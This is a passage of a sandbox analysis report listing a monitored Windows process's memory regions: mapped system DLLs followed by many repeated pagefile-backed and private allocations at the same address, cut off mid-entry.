0x7ffd4dd44970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 800 start_va = 0x7ffd4def0000 end_va = 0x7ffd4def7fff monitored = 0 entry_point = 0x7ffd4def1ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 801 start_va = 0x7ffd4df00000 end_va = 0x7ffd4df9cfff monitored = 0 entry_point = 0x7ffd4df078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 802 start_va = 0x7ffd4e160000 end_va = 0x7ffd4e1bafff monitored = 0 entry_point = 0x7ffd4e1738b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 803 start_va = 0x7ffd4e1c0000 end_va = 0x7ffd4e26cfff monitored = 0 entry_point = 0x7ffd4e1d81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 804 start_va = 0x7ffd4e270000 end_va = 0x7ffd4e2dafff monitored = 0 entry_point = 0x7ffd4e2890c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 805 start_va = 0x7ffd4e2e0000 end_va = 0x7ffd4e31afff monitored = 0 entry_point = 0x7ffd4e2e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 806 start_va = 0x7ffd4e320000 end_va = 0x7ffd4e479fff monitored = 0 entry_point = 0x7ffd4e3638e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 807 start_va = 0x7ffd4e480000 end_va = 0x7ffd4e526fff monitored = 0 entry_point = 0x7ffd4e4958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 808 start_va = 0x7ffd4e530000 end_va = 0x7ffd4e958fff monitored = 0 entry_point = 0x7ffd4e558740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 809 start_va = 0x7ffd4e9d0000 end_va = 0x7ffd4eb25fff monitored = 0 entry_point = 0x7ffd4e9da8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 810 start_va = 0x7ffd4eb30000 end_va = 0x7ffd5008efff monitored = 0 entry_point = 0x7ffd4ec911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 811 start_va = 0x7ffd500f0000 end_va = 0x7ffd50141fff monitored = 0 entry_point = 0x7ffd500ff530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 812 start_va = 0x7ffd50150000 end_va = 0x7ffd501f6fff monitored = 0 entry_point = 0x7ffd5015b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 813 start_va = 0x7ffd50200000 end_va = 0x7ffd5026efff monitored = 0 entry_point = 0x7ffd50225f70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll") Region: id = 814 start_va = 0x7ffd50380000 end_va = 0x7ffd504c2fff monitored = 0 entry_point = 0x7ffd503a8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 815 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 816 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 818 start_va = 0x400000 end_va = 0x415fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 819 start_va = 0xfcd0000 end_va = 0xfd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fcd0000" filename = "" Region: id = 820 start_va = 0x420000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 821 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 822 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 823 start_va = 0xfd50000 end_va = 0xfdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fd50000" filename = "" Region: id = 824 start_va = 0xfdd0000 end_va = 0xfe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fdd0000" filename = "" Region: id = 825 start_va = 0x420000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 826 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 827 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 828 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 829 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 830 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 831 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 832 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 833 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 834 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 835 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 836 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 837 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 838 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 839 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 840 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 841 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 842 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 843 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 844 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 845 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 846 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 847 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 848 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 849 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 850 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 851 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 852 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 853 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 854 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 855 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 856 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 857 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 858 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 859 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 860 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 861 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 862 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 863 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 864 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 865 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 866 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 867 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 868 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 869 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 870 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 871 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 872 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 873 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 874 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 875 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 876 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 877 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 878 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 879 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 880 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 881 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 882 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 883 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 884 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 885 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 886 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 887 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 888 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 889 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 890 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 891 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 892 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 893 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 894 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 895 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 896 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 897 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 898 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 899 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 900 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 901 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 902 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 903 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 904 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 905 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 906 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 907 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 908 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 909 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 910 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 911 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 912 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 913 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 914 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 915 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 916 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 917 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 918 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 919 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 920 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 921 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 922 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 923 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 924 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 925 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 926 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 927 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 928 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 929 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 930 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 931 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 932 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 933 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 934 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 935 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 936 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 937 start_va = 0x420000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 938 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 939 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 940 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 941 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 942 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 943 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 944 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 945 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 946 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 947 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 948 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 949 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 950 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 951 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 952 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 953 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 954 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 955 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 956 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 957 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 958 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 959 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 960 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 961 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 962 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 963 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 964 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 965 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 966 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 967 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 968 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 969 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 970 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 971 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 972 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 973 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 974 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 975 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 976 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 977 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 978 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 979 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 980 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 981 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = 